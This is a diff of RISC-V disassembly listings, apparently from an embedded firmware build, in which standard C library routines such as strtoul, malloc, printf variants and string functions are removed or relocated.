-20403716:	55fd                	li	a1,-1
-20403718:	020b1b63          	bnez	s6,2040374e <_strtoull_l.constprop.0+0x17e>
-2040371c:	50b2                	lw	ra,44(sp)
-2040371e:	5422                	lw	s0,40(sp)
-20403720:	5492                	lw	s1,36(sp)
-20403722:	5902                	lw	s2,32(sp)
-20403724:	49f2                	lw	s3,28(sp)
-20403726:	4a62                	lw	s4,24(sp)
-20403728:	4ad2                	lw	s5,20(sp)
-2040372a:	4b42                	lw	s6,16(sp)
-2040372c:	4bb2                	lw	s7,12(sp)
-2040372e:	4c22                	lw	s8,8(sp)
-20403730:	4c92                	lw	s9,4(sp)
-20403732:	6145                	addi	sp,sp,48
-20403734:	8082                	ret
-20403736:	000c0963          	beqz	s8,20403748 <_strtoull_l.constprop.0+0x178>
-2040373a:	00a037b3          	snez	a5,a0
-2040373e:	40b005b3          	neg	a1,a1
-20403742:	8d9d                	sub	a1,a1,a5
-20403744:	40a00533          	neg	a0,a0
-20403748:	fc0b0ae3          	beqz	s6,2040371c <_strtoull_l.constprop.0+0x14c>
-2040374c:	c319                	beqz	a4,20403752 <_strtoull_l.constprop.0+0x182>
-2040374e:	fff48a93          	addi	s5,s1,-1
-20403752:	015b2023          	sw	s5,0(s6)
-20403756:	b7d9                	j	2040371c <_strtoull_l.constprop.0+0x14c>
-20403758:	03000413          	li	s0,48
-2040375c:	ee0917e3          	bnez	s2,2040364a <_strtoull_l.constprop.0+0x7a>
-20403760:	4921                	li	s2,8
-20403762:	b5e5                	j	2040364a <_strtoull_l.constprop.0+0x7a>
-20403764:	03000793          	li	a5,48
-20403768:	ecf405e3          	beq	s0,a5,20403632 <_strtoull_l.constprop.0+0x62>
-2040376c:	4929                	li	s2,10
-2040376e:	bdf1                	j	2040364a <_strtoull_l.constprop.0+0x7a>
+20402522 <_malloc_r>:
+20402522:	1101                	addi	sp,sp,-32
+20402524:	ca26                	sw	s1,20(sp)
+20402526:	00358493          	addi	s1,a1,3
+2040252a:	98f1                	andi	s1,s1,-4
+2040252c:	c84a                	sw	s2,16(sp)
+2040252e:	ce06                	sw	ra,28(sp)
+20402530:	cc22                	sw	s0,24(sp)
+20402532:	c64e                	sw	s3,12(sp)
+20402534:	04a1                	addi	s1,s1,8
+20402536:	47b1                	li	a5,12
+20402538:	892a                	mv	s2,a0
+2040253a:	04f4f063          	bgeu	s1,a5,2040257a <_malloc_r+0x58>
+2040253e:	44b1                	li	s1,12
+20402540:	02b4ef63          	bltu	s1,a1,2040257e <_malloc_r+0x5c>
+20402544:	854a                	mv	a0,s2
+20402546:	23f5                	jal	20402b32 <__malloc_lock>
+20402548:	81818693          	addi	a3,gp,-2024 # 8000d878 <__malloc_free_list>
+2040254c:	4298                	lw	a4,0(a3)
+2040254e:	843a                	mv	s0,a4
+20402550:	e031                	bnez	s0,20402594 <_malloc_r+0x72>
+20402552:	81c18413          	addi	s0,gp,-2020 # 8000d87c <__malloc_sbrk_start>
+20402556:	401c                	lw	a5,0(s0)
+20402558:	e789                	bnez	a5,20402562 <_malloc_r+0x40>
+2040255a:	4581                	li	a1,0
+2040255c:	854a                	mv	a0,s2
+2040255e:	20f9                	jal	2040262c <_sbrk_r>
+20402560:	c008                	sw	a0,0(s0)
+20402562:	85a6                	mv	a1,s1
+20402564:	854a                	mv	a0,s2
+20402566:	20d9                	jal	2040262c <_sbrk_r>
+20402568:	59fd                	li	s3,-1
+2040256a:	07351863          	bne	a0,s3,204025da <_malloc_r+0xb8>
+2040256e:	47b1                	li	a5,12
+20402570:	00f92023          	sw	a5,0(s2)
+20402574:	854a                	mv	a0,s2
+20402576:	2b7d                	jal	20402b34 <__malloc_unlock>
+20402578:	a031                	j	20402584 <_malloc_r+0x62>
+2040257a:	fc04d3e3          	bgez	s1,20402540 <_malloc_r+0x1e>
+2040257e:	47b1                	li	a5,12
+20402580:	00f92023          	sw	a5,0(s2)
+20402584:	4501                	li	a0,0
+20402586:	40f2                	lw	ra,28(sp)
+20402588:	4462                	lw	s0,24(sp)
+2040258a:	44d2                	lw	s1,20(sp)
+2040258c:	4942                	lw	s2,16(sp)
+2040258e:	49b2                	lw	s3,12(sp)
+20402590:	6105                	addi	sp,sp,32
+20402592:	8082                	ret
+20402594:	401c                	lw	a5,0(s0)
+20402596:	8f85                	sub	a5,a5,s1
+20402598:	0207ce63          	bltz	a5,204025d4 <_malloc_r+0xb2>
+2040259c:	462d                	li	a2,11
+2040259e:	00f67663          	bgeu	a2,a5,204025aa <_malloc_r+0x88>
+204025a2:	c01c                	sw	a5,0(s0)
+204025a4:	943e                	add	s0,s0,a5
+204025a6:	c004                	sw	s1,0(s0)
+204025a8:	a029                	j	204025b2 <_malloc_r+0x90>
+204025aa:	405c                	lw	a5,4(s0)
+204025ac:	02871263          	bne	a4,s0,204025d0 <_malloc_r+0xae>
+204025b0:	c29c                	sw	a5,0(a3)
+204025b2:	854a                	mv	a0,s2
+204025b4:	2341                	jal	20402b34 <__malloc_unlock>
+204025b6:	00b40513          	addi	a0,s0,11
+204025ba:	00440793          	addi	a5,s0,4
+204025be:	9961                	andi	a0,a0,-8
+204025c0:	40f50733          	sub	a4,a0,a5
+204025c4:	fcf501e3          	beq	a0,a5,20402586 <_malloc_r+0x64>
+204025c8:	943a                	add	s0,s0,a4
+204025ca:	8f89                	sub	a5,a5,a0
+204025cc:	c01c                	sw	a5,0(s0)
+204025ce:	bf65                	j	20402586 <_malloc_r+0x64>
+204025d0:	c35c                	sw	a5,4(a4)
+204025d2:	b7c5                	j	204025b2 <_malloc_r+0x90>
+204025d4:	8722                	mv	a4,s0
+204025d6:	4040                	lw	s0,4(s0)
+204025d8:	bfa5                	j	20402550 <_malloc_r+0x2e>
+204025da:	00350413          	addi	s0,a0,3
+204025de:	9871                	andi	s0,s0,-4
+204025e0:	fc8503e3          	beq	a0,s0,204025a6 <_malloc_r+0x84>
+204025e4:	40a405b3          	sub	a1,s0,a0
+204025e8:	854a                	mv	a0,s2
+204025ea:	2089                	jal	2040262c <_sbrk_r>
+204025ec:	fb351de3          	bne	a0,s3,204025a6 <_malloc_r+0x84>
+204025f0:	bfbd                	j	2040256e <_malloc_r+0x4c>
 
-20403770 <strtoull>:
-20403770:	86b2                	mv	a3,a2
-20403772:	862e                	mv	a2,a1
-20403774:	85aa                	mv	a1,a0
-20403776:	80c1a503          	lw	a0,-2036(gp) # 8000d87c <_impure_ptr>
-2040377a:	bd99                	j	204035d0 <_strtoull_l.constprop.0>
+204025f2 <iprintf>:
+204025f2:	715d                	addi	sp,sp,-80
+204025f4:	d422                	sw	s0,40(sp)
+204025f6:	d606                	sw	ra,44(sp)
+204025f8:	842a                	mv	s0,a0
+204025fa:	da2e                	sw	a1,52(sp)
+204025fc:	dc32                	sw	a2,56(sp)
+204025fe:	de36                	sw	a3,60(sp)
+20402600:	c0ba                	sw	a4,64(sp)
+20402602:	c2be                	sw	a5,68(sp)
+20402604:	c4c2                	sw	a6,72(sp)
+20402606:	c6c6                	sw	a7,76(sp)
+20402608:	8141a503          	lw	a0,-2028(gp) # 8000d874 <_impure_ptr>
+2040260c:	c511                	beqz	a0,20402618 <iprintf+0x26>
+2040260e:	4d1c                	lw	a5,24(a0)
+20402610:	e781                	bnez	a5,20402618 <iprintf+0x26>
+20402612:	c62a                	sw	a0,12(sp)
+20402614:	2675                	jal	204029c0 <__sinit>
+20402616:	4532                	lw	a0,12(sp)
+20402618:	450c                	lw	a1,8(a0)
+2040261a:	1854                	addi	a3,sp,52
+2040261c:	8622                	mv	a2,s0
+2040261e:	ce36                	sw	a3,28(sp)
+20402620:	463000ef          	jal	ra,20403282 <_vfiprintf_r>
+20402624:	50b2                	lw	ra,44(sp)
+20402626:	5422                	lw	s0,40(sp)
+20402628:	6161                	addi	sp,sp,80
+2040262a:	8082                	ret
 
-2040377c <_strtoul_l.constprop.0>:
-2040377c:	8e2a                	mv	t3,a0
-2040377e:	872e                	mv	a4,a1
-20403780:	00002897          	auipc	a7,0x2
-20403784:	66988893          	addi	a7,a7,1641 # 20405de9 <_ctype_+0x1>
-20403788:	883a                	mv	a6,a4
-2040378a:	00074783          	lbu	a5,0(a4)
-2040378e:	0705                	addi	a4,a4,1
-20403790:	01178533          	add	a0,a5,a7
-20403794:	00054503          	lbu	a0,0(a0)
-20403798:	8921                	andi	a0,a0,8
-2040379a:	f57d                	bnez	a0,20403788 <_strtoul_l.constprop.0+0xc>
-2040379c:	02d00513          	li	a0,45
-204037a0:	06a79c63          	bne	a5,a0,20403818 <_strtoul_l.constprop.0+0x9c>
-204037a4:	00074783          	lbu	a5,0(a4)
-204037a8:	4e85                	li	t4,1
-204037aa:	00280713          	addi	a4,a6,2
-204037ae:	cae1                	beqz	a3,2040387e <_strtoul_l.constprop.0+0x102>
-204037b0:	4541                	li	a0,16
-204037b2:	02a69263          	bne	a3,a0,204037d6 <_strtoul_l.constprop.0+0x5a>
-204037b6:	03000513          	li	a0,48
-204037ba:	00a79e63          	bne	a5,a0,204037d6 <_strtoul_l.constprop.0+0x5a>
-204037be:	00074783          	lbu	a5,0(a4)
-204037c2:	05800513          	li	a0,88
-204037c6:	0df7f793          	andi	a5,a5,223
-204037ca:	0aa79563          	bne	a5,a0,20403874 <_strtoul_l.constprop.0+0xf8>
-204037ce:	00174783          	lbu	a5,1(a4)
-204037d2:	46c1                	li	a3,16
-204037d4:	0709                	addi	a4,a4,2
-204037d6:	587d                	li	a6,-1
-204037d8:	02d85f33          	divu	t5,a6,a3
-204037dc:	4881                	li	a7,0
-204037de:	4501                	li	a0,0
-204037e0:	42a5                	li	t0,9
-204037e2:	4fe5                	li	t6,25
-204037e4:	02d87333          	remu	t1,a6,a3
-204037e8:	fd078813          	addi	a6,a5,-48
-204037ec:	0502e063          	bltu	t0,a6,2040382c <_strtoul_l.constprop.0+0xb0>
-204037f0:	87c2                	mv	a5,a6
-204037f2:	04d7dd63          	bge	a5,a3,2040384c <_strtoul_l.constprop.0+0xd0>
-204037f6:	0408c963          	bltz	a7,20403848 <_strtoul_l.constprop.0+0xcc>
-204037fa:	58fd                	li	a7,-1
-204037fc:	00af6a63          	bltu	t5,a0,20403810 <_strtoul_l.constprop.0+0x94>
-20403800:	00af1463          	bne	t5,a0,20403808 <_strtoul_l.constprop.0+0x8c>
-20403804:	00f34663          	blt	t1,a5,20403810 <_strtoul_l.constprop.0+0x94>
-20403808:	4885                	li	a7,1
-2040380a:	02a68533          	mul	a0,a3,a0
-2040380e:	953e                	add	a0,a0,a5
-20403810:	0705                	addi	a4,a4,1
-20403812:	fff74783          	lbu	a5,-1(a4)
-20403816:	bfc9                	j	204037e8 <_strtoul_l.constprop.0+0x6c>
-20403818:	02b00513          	li	a0,43
-2040381c:	4e81                	li	t4,0
-2040381e:	f8a798e3          	bne	a5,a0,204037ae <_strtoul_l.constprop.0+0x32>
-20403822:	00074783          	lbu	a5,0(a4)
-20403826:	00280713          	addi	a4,a6,2
-2040382a:	b751                	j	204037ae <_strtoul_l.constprop.0+0x32>
-2040382c:	fbf78813          	addi	a6,a5,-65
-20403830:	010fe563          	bltu	t6,a6,2040383a <_strtoul_l.constprop.0+0xbe>
-20403834:	fc978793          	addi	a5,a5,-55
-20403838:	bf6d                	j	204037f2 <_strtoul_l.constprop.0+0x76>
-2040383a:	f9f78813          	addi	a6,a5,-97
-2040383e:	010fe763          	bltu	t6,a6,2040384c <_strtoul_l.constprop.0+0xd0>
-20403842:	fa978793          	addi	a5,a5,-87
-20403846:	b775                	j	204037f2 <_strtoul_l.constprop.0+0x76>
-20403848:	58fd                	li	a7,-1
-2040384a:	b7d9                	j	20403810 <_strtoul_l.constprop.0+0x94>
-2040384c:	0008d963          	bgez	a7,2040385e <_strtoul_l.constprop.0+0xe2>
-20403850:	02200793          	li	a5,34
-20403854:	00fe2023          	sw	a5,0(t3)
-20403858:	557d                	li	a0,-1
-2040385a:	ea09                	bnez	a2,2040386c <_strtoul_l.constprop.0+0xf0>
-2040385c:	8082                	ret
-2040385e:	000e8463          	beqz	t4,20403866 <_strtoul_l.constprop.0+0xea>
-20403862:	40a00533          	neg	a0,a0
-20403866:	c215                	beqz	a2,2040388a <_strtoul_l.constprop.0+0x10e>
-20403868:	00088463          	beqz	a7,20403870 <_strtoul_l.constprop.0+0xf4>
-2040386c:	fff70593          	addi	a1,a4,-1
-20403870:	c20c                	sw	a1,0(a2)
-20403872:	8082                	ret
-20403874:	03000793          	li	a5,48
-20403878:	feb9                	bnez	a3,204037d6 <_strtoul_l.constprop.0+0x5a>
-2040387a:	46a1                	li	a3,8
-2040387c:	bfa9                	j	204037d6 <_strtoul_l.constprop.0+0x5a>
-2040387e:	03000513          	li	a0,48
-20403882:	f2a78ee3          	beq	a5,a0,204037be <_strtoul_l.constprop.0+0x42>
-20403886:	46a9                	li	a3,10
-20403888:	b7b9                	j	204037d6 <_strtoul_l.constprop.0+0x5a>
-2040388a:	8082                	ret
+2040262c <_sbrk_r>:
+2040262c:	1141                	addi	sp,sp,-16
+2040262e:	c422                	sw	s0,8(sp)
+20402630:	842a                	mv	s0,a0
+20402632:	852e                	mv	a0,a1
+20402634:	8201a223          	sw	zero,-2012(gp) # 8000d884 <errno>
+20402638:	c606                	sw	ra,12(sp)
+2040263a:	31ad                	jal	204022a4 <_sbrk>
+2040263c:	57fd                	li	a5,-1
+2040263e:	00f51663          	bne	a0,a5,2040264a <_sbrk_r+0x1e>
+20402642:	8241a783          	lw	a5,-2012(gp) # 8000d884 <errno>
+20402646:	c391                	beqz	a5,2040264a <_sbrk_r+0x1e>
+20402648:	c01c                	sw	a5,0(s0)
+2040264a:	40b2                	lw	ra,12(sp)
+2040264c:	4422                	lw	s0,8(sp)
+2040264e:	0141                	addi	sp,sp,16
+20402650:	8082                	ret
 
-2040388c <strtoul>:
-2040388c:	86b2                	mv	a3,a2
-2040388e:	862e                	mv	a2,a1
-20403890:	85aa                	mv	a1,a0
-20403892:	80c1a503          	lw	a0,-2036(gp) # 8000d87c <_impure_ptr>
-20403896:	b5dd                	j	2040377c <_strtoul_l.constprop.0>
+20402652 <sniprintf>:
+20402652:	7135                	addi	sp,sp,-160
+20402654:	daa6                	sw	s1,116(sp)
+20402656:	de86                	sw	ra,124(sp)
+20402658:	dca2                	sw	s0,120(sp)
+2040265a:	d8ca                	sw	s2,112(sp)
+2040265c:	c736                	sw	a3,140(sp)
+2040265e:	c93a                	sw	a4,144(sp)
+20402660:	cb3e                	sw	a5,148(sp)
+20402662:	cd42                	sw	a6,152(sp)
+20402664:	cf46                	sw	a7,156(sp)
+20402666:	8141a483          	lw	s1,-2028(gp) # 8000d874 <_impure_ptr>
+2040266a:	0005dc63          	bgez	a1,20402682 <sniprintf+0x30>
+2040266e:	08b00793          	li	a5,139
+20402672:	c09c                	sw	a5,0(s1)
+20402674:	557d                	li	a0,-1
+20402676:	50f6                	lw	ra,124(sp)
+20402678:	5466                	lw	s0,120(sp)
+2040267a:	54d6                	lw	s1,116(sp)
+2040267c:	5946                	lw	s2,112(sp)
+2040267e:	610d                	addi	sp,sp,160
+20402680:	8082                	ret
+20402682:	20800793          	li	a5,520
+20402686:	00f11a23          	sh	a5,20(sp)
+2040268a:	c42a                	sw	a0,8(sp)
+2040268c:	cc2a                	sw	a0,24(sp)
+2040268e:	842e                	mv	s0,a1
+20402690:	4781                	li	a5,0
+20402692:	c199                	beqz	a1,20402698 <sniprintf+0x46>
+20402694:	fff58793          	addi	a5,a1,-1
+20402698:	597d                	li	s2,-1
+2040269a:	0174                	addi	a3,sp,140
+2040269c:	002c                	addi	a1,sp,8
+2040269e:	8526                	mv	a0,s1
+204026a0:	c83e                	sw	a5,16(sp)
+204026a2:	ce3e                	sw	a5,28(sp)
+204026a4:	01211b23          	sh	s2,22(sp)
+204026a8:	c236                	sw	a3,4(sp)
+204026aa:	2ba5                	jal	20402c22 <_svfiprintf_r>
+204026ac:	01255563          	bge	a0,s2,204026b6 <sniprintf+0x64>
+204026b0:	08b00793          	li	a5,139
+204026b4:	c09c                	sw	a5,0(s1)
+204026b6:	d061                	beqz	s0,20402676 <sniprintf+0x24>
+204026b8:	47a2                	lw	a5,8(sp)
+204026ba:	00078023          	sb	zero,0(a5) # 10013000 <__stack_size+0x10012800>
+204026be:	bf65                	j	20402676 <sniprintf+0x24>
 
-20403898 <isatty>:
-20403898:	ab2ff06f          	j	20402b4a <_isatty>
+204026c0 <strcmp>:
+204026c0:	00054603          	lbu	a2,0(a0)
+204026c4:	0005c683          	lbu	a3,0(a1)
+204026c8:	0505                	addi	a0,a0,1
+204026ca:	0585                	addi	a1,a1,1
+204026cc:	00d61363          	bne	a2,a3,204026d2 <strcmp+0x12>
+204026d0:	fa65                	bnez	a2,204026c0 <strcmp>
+204026d2:	40d60533          	sub	a0,a2,a3
+204026d6:	8082                	ret
 
-2040389c <open>:
-2040389c:	7139                	addi	sp,sp,-64
-2040389e:	d432                	sw	a2,40(sp)
-204038a0:	d636                	sw	a3,44(sp)
-204038a2:	da3e                	sw	a5,52(sp)
-204038a4:	86b2                	mv	a3,a2
-204038a6:	103c                	addi	a5,sp,40
-204038a8:	862e                	mv	a2,a1
-204038aa:	85aa                	mv	a1,a0
-204038ac:	80c1a503          	lw	a0,-2036(gp) # 8000d87c <_impure_ptr>
-204038b0:	ce06                	sw	ra,28(sp)
-204038b2:	d83a                	sw	a4,48(sp)
-204038b4:	dc42                	sw	a6,56(sp)
-204038b6:	de46                	sw	a7,60(sp)
-204038b8:	c63e                	sw	a5,12(sp)
-204038ba:	719000ef          	jal	ra,204047d2 <_open_r>
-204038be:	40f2                	lw	ra,28(sp)
-204038c0:	6121                	addi	sp,sp,64
-204038c2:	8082                	ret
+204026d8 <strlen>:
+204026d8:	87aa                	mv	a5,a0
+204026da:	0007c703          	lbu	a4,0(a5)
+204026de:	0785                	addi	a5,a5,1
+204026e0:	ff6d                	bnez	a4,204026da <strlen+0x2>
+204026e2:	40a78533          	sub	a0,a5,a0
+204026e6:	157d                	addi	a0,a0,-1
+204026e8:	8082                	ret
 
-204038c4 <read>:
-204038c4:	86b2                	mv	a3,a2
-204038c6:	862e                	mv	a2,a1
-204038c8:	85aa                	mv	a1,a0
-204038ca:	80c1a503          	lw	a0,-2036(gp) # 8000d87c <_impure_ptr>
-204038ce:	7310006f          	j	204047fe <_read_r>
+204026ea <strncmp>:
+204026ea:	c60d                	beqz	a2,20402714 <strncmp+0x2a>
+204026ec:	167d                	addi	a2,a2,-1
+204026ee:	4701                	li	a4,0
+204026f0:	00e507b3          	add	a5,a0,a4
+204026f4:	00e586b3          	add	a3,a1,a4
+204026f8:	0007c783          	lbu	a5,0(a5)
+204026fc:	0006c683          	lbu	a3,0(a3)
+20402700:	00d79463          	bne	a5,a3,20402708 <strncmp+0x1e>
+20402704:	00c71563          	bne	a4,a2,2040270e <strncmp+0x24>
+20402708:	40d78533          	sub	a0,a5,a3
+2040270c:	8082                	ret
+2040270e:	0705                	addi	a4,a4,1
+20402710:	f3e5                	bnez	a5,204026f0 <strncmp+0x6>
+20402712:	bfdd                	j	20402708 <strncmp+0x1e>
+20402714:	4501                	li	a0,0
+20402716:	8082                	ret
 
-204038d2 <write>:
-204038d2:	86b2                	mv	a3,a2
-204038d4:	862e                	mv	a2,a1
-204038d6:	85aa                	mv	a1,a0
-204038d8:	80c1a503          	lw	a0,-2036(gp) # 8000d87c <_impure_ptr>
-204038dc:	a009                	j	204038de <_write_r>
+20402718 <strnlen>:
+20402718:	95aa                	add	a1,a1,a0
+2040271a:	87aa                	mv	a5,a0
+2040271c:	00b78563          	beq	a5,a1,20402726 <strnlen+0xe>
+20402720:	0007c703          	lbu	a4,0(a5)
+20402724:	e701                	bnez	a4,2040272c <strnlen+0x14>
+20402726:	40a78533          	sub	a0,a5,a0
+2040272a:	8082                	ret
+2040272c:	0785                	addi	a5,a5,1
+2040272e:	b7fd                	j	2040271c <strnlen+0x4>
 
-204038de <_write_r>:
-204038de:	1141                	addi	sp,sp,-16
-204038e0:	c422                	sw	s0,8(sp)
-204038e2:	842a                	mv	s0,a0
-204038e4:	852e                	mv	a0,a1
-204038e6:	85b2                	mv	a1,a2
-204038e8:	8636                	mv	a2,a3
-204038ea:	8201a223          	sw	zero,-2012(gp) # 8000d894 <errno>
-204038ee:	c606                	sw	ra,12(sp)
-204038f0:	ad0ff0ef          	jal	ra,20402bc0 <_write>
-204038f4:	57fd                	li	a5,-1
-204038f6:	00f51663          	bne	a0,a5,20403902 <_write_r+0x24>
-204038fa:	8241a783          	lw	a5,-2012(gp) # 8000d894 <errno>
-204038fe:	c391                	beqz	a5,20403902 <_write_r+0x24>
-20403900:	c01c                	sw	a5,0(s0)
-20403902:	40b2                	lw	ra,12(sp)
-20403904:	4422                	lw	s0,8(sp)
-20403906:	0141                	addi	sp,sp,16
-20403908:	8082                	ret
+20402730 <strrchr>:
+20402730:	e18d                	bnez	a1,20402752 <strrchr+0x22>
+20402732:	6fd0006f          	j	2040362e <strchr>
+20402736:	00150793          	addi	a5,a0,1
+2040273a:	84aa                	mv	s1,a0
+2040273c:	85a2                	mv	a1,s0
+2040273e:	853e                	mv	a0,a5
+20402740:	6ef000ef          	jal	ra,2040362e <strchr>
+20402744:	f96d                	bnez	a0,20402736 <strrchr+0x6>
+20402746:	40b2                	lw	ra,12(sp)
+20402748:	4422                	lw	s0,8(sp)
+2040274a:	8526                	mv	a0,s1
+2040274c:	4492                	lw	s1,4(sp)
+2040274e:	0141                	addi	sp,sp,16
+20402750:	8082                	ret
+20402752:	1141                	addi	sp,sp,-16
+20402754:	c422                	sw	s0,8(sp)
+20402756:	c226                	sw	s1,4(sp)
+20402758:	c606                	sw	ra,12(sp)
+2040275a:	87aa                	mv	a5,a0
+2040275c:	842e                	mv	s0,a1
+2040275e:	4481                	li	s1,0
+20402760:	bff1                	j	2040273c <strrchr+0xc>
 
-2040390a <__register_exitproc>:
-2040390a:	88aa                	mv	a7,a0
-2040390c:	81818513          	addi	a0,gp,-2024 # 8000d888 <_global_atexit>
-20403910:	411c                	lw	a5,0(a0)
-20403912:	ef81                	bnez	a5,2040392a <__register_exitproc+0x20>
-20403914:	a7c18713          	addi	a4,gp,-1412 # 8000daec <_global_atexit0>
-20403918:	c118                	sw	a4,0(a0)
-2040391a:	00000513          	li	a0,0
-2040391e:	87ba                	mv	a5,a4
-20403920:	c509                	beqz	a0,2040392a <__register_exitproc+0x20>
-20403922:	411c                	lw	a5,0(a0)
-20403924:	08f72423          	sw	a5,136(a4)
-20403928:	87ba                	mv	a5,a4
-2040392a:	43d8                	lw	a4,4(a5)
-2040392c:	487d                	li	a6,31
-2040392e:	557d                	li	a0,-1
-20403930:	04e84663          	blt	a6,a4,2040397c <__register_exitproc+0x72>
-20403934:	02088d63          	beqz	a7,2040396e <__register_exitproc+0x64>
-20403938:	0887a803          	lw	a6,136(a5)
-2040393c:	04080063          	beqz	a6,2040397c <__register_exitproc+0x72>
-20403940:	00271513          	slli	a0,a4,0x2
-20403944:	9542                	add	a0,a0,a6
-20403946:	c110                	sw	a2,0(a0)
-20403948:	10082303          	lw	t1,256(a6)
-2040394c:	4605                	li	a2,1
-2040394e:	00e61633          	sll	a2,a2,a4
-20403952:	00c36333          	or	t1,t1,a2
-20403956:	10682023          	sw	t1,256(a6)
-2040395a:	08d52023          	sw	a3,128(a0)
-2040395e:	4689                	li	a3,2
-20403960:	00d89763          	bne	a7,a3,2040396e <__register_exitproc+0x64>
-20403964:	10482683          	lw	a3,260(a6)
-20403968:	8e55                	or	a2,a2,a3
-2040396a:	10c82223          	sw	a2,260(a6)
-2040396e:	00170693          	addi	a3,a4,1
-20403972:	070a                	slli	a4,a4,0x2
-20403974:	c3d4                	sw	a3,4(a5)
-20403976:	97ba                	add	a5,a5,a4
-20403978:	c78c                	sw	a1,8(a5)
-2040397a:	4501                	li	a0,0
-2040397c:	8082                	ret
+20402762 <isatty>:
+20402762:	b695                	j	204022c6 <_isatty>
 
-2040397e <__call_exitprocs>:
-2040397e:	7179                	addi	sp,sp,-48
-20403980:	ca56                	sw	s5,20(sp)
-20403982:	c85a                	sw	s6,16(sp)
-20403984:	c65e                	sw	s7,12(sp)
-20403986:	c462                	sw	s8,8(sp)
-20403988:	d606                	sw	ra,44(sp)
-2040398a:	d422                	sw	s0,40(sp)
-2040398c:	d226                	sw	s1,36(sp)
-2040398e:	d04a                	sw	s2,32(sp)
-20403990:	ce4e                	sw	s3,28(sp)
-20403992:	cc52                	sw	s4,24(sp)
-20403994:	c266                	sw	s9,4(sp)
-20403996:	8b2a                	mv	s6,a0
-20403998:	8aae                	mv	s5,a1
-2040399a:	81818b93          	addi	s7,gp,-2024 # 8000d888 <_global_atexit>
-2040399e:	4c05                	li	s8,1
-204039a0:	000ba483          	lw	s1,0(s7)
-204039a4:	cc81                	beqz	s1,204039bc <__call_exitprocs+0x3e>
-204039a6:	40c0                	lw	s0,4(s1)
-204039a8:	0884a983          	lw	s3,136(s1)
-204039ac:	fff40913          	addi	s2,s0,-1
-204039b0:	040a                	slli	s0,s0,0x2
-204039b2:	00898a33          	add	s4,s3,s0
-204039b6:	9426                	add	s0,s0,s1
-204039b8:	00095f63          	bgez	s2,204039d6 <__call_exitprocs+0x58>
-204039bc:	50b2                	lw	ra,44(sp)
-204039be:	5422                	lw	s0,40(sp)
-204039c0:	5492                	lw	s1,36(sp)
-204039c2:	5902                	lw	s2,32(sp)
-204039c4:	49f2                	lw	s3,28(sp)
-204039c6:	4a62                	lw	s4,24(sp)
-204039c8:	4ad2                	lw	s5,20(sp)
-204039ca:	4b42                	lw	s6,16(sp)
-204039cc:	4bb2                	lw	s7,12(sp)
-204039ce:	4c22                	lw	s8,8(sp)
-204039d0:	4c92                	lw	s9,4(sp)
-204039d2:	6145                	addi	sp,sp,48
-204039d4:	8082                	ret
-204039d6:	000a8c63          	beqz	s5,204039ee <__call_exitprocs+0x70>
-204039da:	00099663          	bnez	s3,204039e6 <__call_exitprocs+0x68>
-204039de:	197d                	addi	s2,s2,-1
-204039e0:	1a71                	addi	s4,s4,-4
-204039e2:	1471                	addi	s0,s0,-4
-204039e4:	bfd1                	j	204039b8 <__call_exitprocs+0x3a>
-204039e6:	07ca2783          	lw	a5,124(s4)
-204039ea:	ff579ae3          	bne	a5,s5,204039de <__call_exitprocs+0x60>
-204039ee:	40d8                	lw	a4,4(s1)
-204039f0:	405c                	lw	a5,4(s0)
-204039f2:	177d                	addi	a4,a4,-1
-204039f4:	03271863          	bne	a4,s2,20403a24 <__call_exitprocs+0xa6>
-204039f8:	0124a223          	sw	s2,4(s1)
-204039fc:	d3ed                	beqz	a5,204039de <__call_exitprocs+0x60>
-204039fe:	0044ac83          	lw	s9,4(s1)
-20403a02:	00098863          	beqz	s3,20403a12 <__call_exitprocs+0x94>
-20403a06:	1009a683          	lw	a3,256(s3)
-20403a0a:	012c1733          	sll	a4,s8,s2
-20403a0e:	8ef9                	and	a3,a3,a4
-20403a10:	ee89                	bnez	a3,20403a2a <__call_exitprocs+0xac>
-20403a12:	9782                	jalr	a5
-20403a14:	40d8                	lw	a4,4(s1)
-20403a16:	000ba783          	lw	a5,0(s7)
-20403a1a:	f99713e3          	bne	a4,s9,204039a0 <__call_exitprocs+0x22>
-20403a1e:	fcf480e3          	beq	s1,a5,204039de <__call_exitprocs+0x60>
-20403a22:	bfbd                	j	204039a0 <__call_exitprocs+0x22>
-20403a24:	00042223          	sw	zero,4(s0)
-20403a28:	bfd1                	j	204039fc <__call_exitprocs+0x7e>
-20403a2a:	1049a683          	lw	a3,260(s3)
-20403a2e:	ffca2583          	lw	a1,-4(s4)
-20403a32:	8f75                	and	a4,a4,a3
-20403a34:	e701                	bnez	a4,20403a3c <__call_exitprocs+0xbe>
-20403a36:	855a                	mv	a0,s6
-20403a38:	9782                	jalr	a5
-20403a3a:	bfe9                	j	20403a14 <__call_exitprocs+0x96>
-20403a3c:	852e                	mv	a0,a1
-20403a3e:	9782                	jalr	a5
-20403a40:	bfd1                	j	20403a14 <__call_exitprocs+0x96>
+20402764 <open>:
+20402764:	7139                	addi	sp,sp,-64
+20402766:	d432                	sw	a2,40(sp)
+20402768:	d636                	sw	a3,44(sp)
+2040276a:	da3e                	sw	a5,52(sp)
+2040276c:	86b2                	mv	a3,a2
+2040276e:	103c                	addi	a5,sp,40
+20402770:	862e                	mv	a2,a1
+20402772:	85aa                	mv	a1,a0
+20402774:	8141a503          	lw	a0,-2028(gp) # 8000d874 <_impure_ptr>
+20402778:	ce06                	sw	ra,28(sp)
+2040277a:	d83a                	sw	a4,48(sp)
+2040277c:	dc42                	sw	a6,56(sp)
+2040277e:	de46                	sw	a7,60(sp)
+20402780:	c63e                	sw	a5,12(sp)
+20402782:	599000ef          	jal	ra,2040351a <_open_r>
+20402786:	40f2                	lw	ra,28(sp)
+20402788:	6121                	addi	sp,sp,64
+2040278a:	8082                	ret
 
-20403a42 <std>:
-20403a42:	1141                	addi	sp,sp,-16
-20403a44:	c422                	sw	s0,8(sp)
-20403a46:	c606                	sw	ra,12(sp)
-20403a48:	842a                	mv	s0,a0
-20403a4a:	00b51623          	sh	a1,12(a0)
-20403a4e:	00c51723          	sh	a2,14(a0)
-20403a52:	00052023          	sw	zero,0(a0)
-20403a56:	00052223          	sw	zero,4(a0)
-20403a5a:	00052423          	sw	zero,8(a0)
-20403a5e:	06052223          	sw	zero,100(a0)
-20403a62:	00052823          	sw	zero,16(a0)
-20403a66:	00052a23          	sw	zero,20(a0)
-20403a6a:	00052c23          	sw	zero,24(a0)
-20403a6e:	4621                	li	a2,8
-20403a70:	4581                	li	a1,0
-20403a72:	05c50513          	addi	a0,a0,92
-20403a76:	e0eff0ef          	jal	ra,20403084 <memset>
